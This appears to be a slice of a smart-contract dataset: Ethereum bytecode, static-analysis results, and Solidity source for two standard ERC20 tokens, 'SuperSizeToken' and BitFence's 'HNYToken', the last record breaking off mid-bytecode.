00080fd5b60048281548110613f5757fe5b90600052602060002001549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613fa8576000905061401d565b600060019050600080905060005b8161401657613fc58584614d31565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561400c5761400583614c81565b9250614011565b600191505b613fb6565b8093505050505b919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701541461407157600080fd5b61407c82338361408a565b6140863382614f50565b5050565b6000806140956153f5565b9050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156140d55760019150614123565b614120600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154614c81565b91505b600c548211156141355781600c819055505b6040518061010001604052808673ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001838152602001600181526020018281526020016000815250600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506080820151816004015560a0820151816006015560c0820151816007015560e082015181600801559050506040518060600160405280600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206007015481526020016000815260200184815250600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000808152602001908152602001600020600082015181600001556020820151816001015560408201518160020155905050836002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461486c57600073ffffffffffffffffffffffffffffffffffffffff16600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561462a5783600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061486b565b600073ffffffffffffffffffffffffffffffffffffffff16600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156147475783600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061486a565b600073ffffffffffffffffffffffffffffffffffffffff16600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156148645783600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550614869565b600080fd5b5b5b5b7f05345a91f639184e946e5aac384b1e9f74ae9ab08d775a7deddb3180cebecb23858584604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050505050565b60008190506000600190505b600480549050811015614bf357600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915060006004828154811061499f57fe5b90600052602060002001541115614be357600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614614be2576040518060600160405280600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701548152602001600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154815260200160048381548110614a8c57fe5b9060005260206000200154815250600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601548152602001908152602001600020600082015181600001556020820151816001015560408201518160020155905050614b9b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060154614c81565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601819055505b5b614bec81614c81565b905061491e565b505050565b600082821115614c70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6f766572666c6f77206572726f7200000000000000000000000000000000000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000614c8e826001614ca9565b9050919050565b6000614ca2826001614bf8565b9050919050565b600080828401905083811015614d27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6f766572666c6f77206572726f7200000000000000000000000000000000000081525060200191505060405180910390fd5b8091505092915050565b60006001821415614d5e576003614d4784613584565b1015614d5557829050614f4a565b60009050614f4a565b6000614dd4600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614dcf85614c95565b614d31565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415614f45576000614e81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614e7c86614c95565b614d31565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415614f3b576000614f2e600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614f2987614c95565b614d31565b9050809350505050614f4a565b8092505050614f4a565b809150505b92915050565b6000829050600034905082811015614f6757600080fd5b60008090506000600190505b6004805490508110156152d257600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600060048281548110614ff457fe5b906000526020600020015411156152c257600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146152c1576150636004828154811061504957fe5b906000526020600020015483614ca990919063ffffffff16565b91508373ffffffffffffffffffffffffffffffffffffffff166108fc6004838154811061508c57fe5b90600052602060002001549081150290604051600060405180830381858888f193505050501580156150c2573d6000803e3d6000fd5b506040518060600160405280600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701548152602001600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206007015481526020016004838154811061516b57fe5b9060005260206000200154815250600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060154815260200190815260200160002060008201518160000155602082015181600101556040820151816002015590505061527a600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060154614c81565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601819055505b5b6152cb81614c81565b9050614f73565b506152ea600e54600d54614ca990919063ffffffff16565b600d819055506000615319600e5461530b8488614bf890919063ffffffff16565b614bf890919063ffffffff16565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015615383573d6000803e3d6000fd5b5060006153998685614bf890919063ffffffff16565b905060008111156153ec578673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156153ea573d6000803e3d6000fd5b505b50505050505050565b6000600a600b548161540357fe5b0461540c61289f565b1061542357600a600b600082825402925050819055505b60004260000390506000600143034060001c823073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161818189050600081141561547757600190505b5b600b5481111561549457600a818161548c57fe5b049050615478565b5b6000600160006002600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154111561553f5761551e600b54614c95565b81141561552e576001905061553a565b61553781614c81565b90505b615495565b80925050509056fea26469706673582212207ffe07a2b769ab6325d7a0ca356552f32436fb9a27f90173f59c5288bbbfbd4364736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,943 |
0x93251fd1d11fb5cdfcad5843317c4d07e1e6b2ce
|
/**
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e23, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract SuperSizeToken is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Super Size Token", "SSTK", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e2);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x7393251fd1d11fb5cdfcad5843317c4d07e1e6b2ce30146080604052600080fdfea265627a7a723158205e5fcff530d17b92ec2eeb6bc73724f4b15b069ff8d0406be491e3e014543e7864736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 5,944 |
0x8c1f5174ac847520a9859f6dccd59a1c28b75021
|
pragma solidity ^0.4.18;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract HNYToken is BurnableToken, MintableToken, PausableToken {
string public constant name = "BitFence Token";
string public constant symbol = "HNY";
uint8 public constant decimals = 18;
}
|
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013d578063095ea7b3146101c757806318160ddd146101e957806323b872dd1461020e578063313ce567146102365780633f4ba83a1461025f57806340c10f191461027457806342966c68146102965780635c975abb146102ac57806366188463146102bf57806370a08231146102e15780637d64bcb4146103005780638456cb59146103135780638da5cb5b1461032657806395d89b4114610355578063a9059cbb14610368578063d73dd6231461038a578063dd62ed3e146103ac578063f2fde38b146103d1575b600080fd5b341561012157600080fd5b6101296103f0565b604051901515815260200160405180910390f35b341561014857600080fd5b610150610400565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018c578082015183820152602001610174565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610129600160a060020a0360043516602435610437565b34156101f457600080fd5b6101fc610462565b60405190815260200160405180910390f35b341561021957600080fd5b610129600160a060020a0360043581169060243516604435610468565b341561024157600080fd5b610249610495565b60405160ff909116815260200160405180910390f35b341561026a57600080fd5b61027261049a565b005b341561027f57600080fd5b610129600160a060020a036004351660243561051a565b34156102a157600080fd5b610272600435610628565b34156102b757600080fd5b6101296106e2565b34156102ca57600080fd5b610129600160a060020a03600435166024356106f2565b34156102ec57600080fd5b6101fc600160a060020a0360043516610716565b341561030b57600080fd5b610129610731565b341561031e57600080fd5b6102726107bc565b341561033157600080fd5b610339610841565b604051600160a060020a03909116815260200160405180910390f35b341561036057600080fd5b610150610850565b341561037357600080fd5b610129600160a060020a0360043516602435610887565b341561039557600080fd5b610129600160a060020a03600435166024356108ab565b34156103b757600080fd5b6101fc600160a060020a03600435811690602435166108cf565b34156103dc57600080fd5b610272600160a060020a03600435166108fa565b60035460a060020a900460ff1681565b60408051908101604052600e81527f42697446656e636520546f6b656e000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561045157600080fd5b61045b8383610995565b9392505050565b60015490565b60035460009060a860020a900460ff161561048257600080fd5b61048d848484610a01565b949350505050565b601281565b60035433600160a060020a039081169116146104b557600080fd5b60035460a860020a900460ff1615156104cd57600080fd5b6003805475ff000000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a0390811691161461053857600080fd5b60035460a060020a900460ff161561054f57600080fd5b600154610562908363ffffffff610b8116565b600155600160a060020a03831660009081526020819052604090205461058e908363ffffffff610b8116565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03331660009081526020819052604081205482111561064d57600080fd5b5033600160a060020a0381166000908152602081905260409020546106729083610b90565b600160a060020a03821660009081526020819052604090205560015461069e908363ffffffff610b9016565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff161561070c57600080fd5b61045b8383610ba2565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461074f57600080fd5b60035460a060020a900460ff161561076657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035433600160a060020a039081169116146107d757600080fd5b60035460a860020a900460ff16156107ee57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600381527f484e590000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff16156108a157600080fd5b61045b8383610c9c565b60035460009060a860020a900460ff16156108c557600080fd5b61045b8383610dae565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461091557600080fd5b600160a060020a038116151561092a57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610a1857600080fd5b600160a060020a038416600090815260208190526040902054821115610a3d57600080fd5b600160a060020a0380851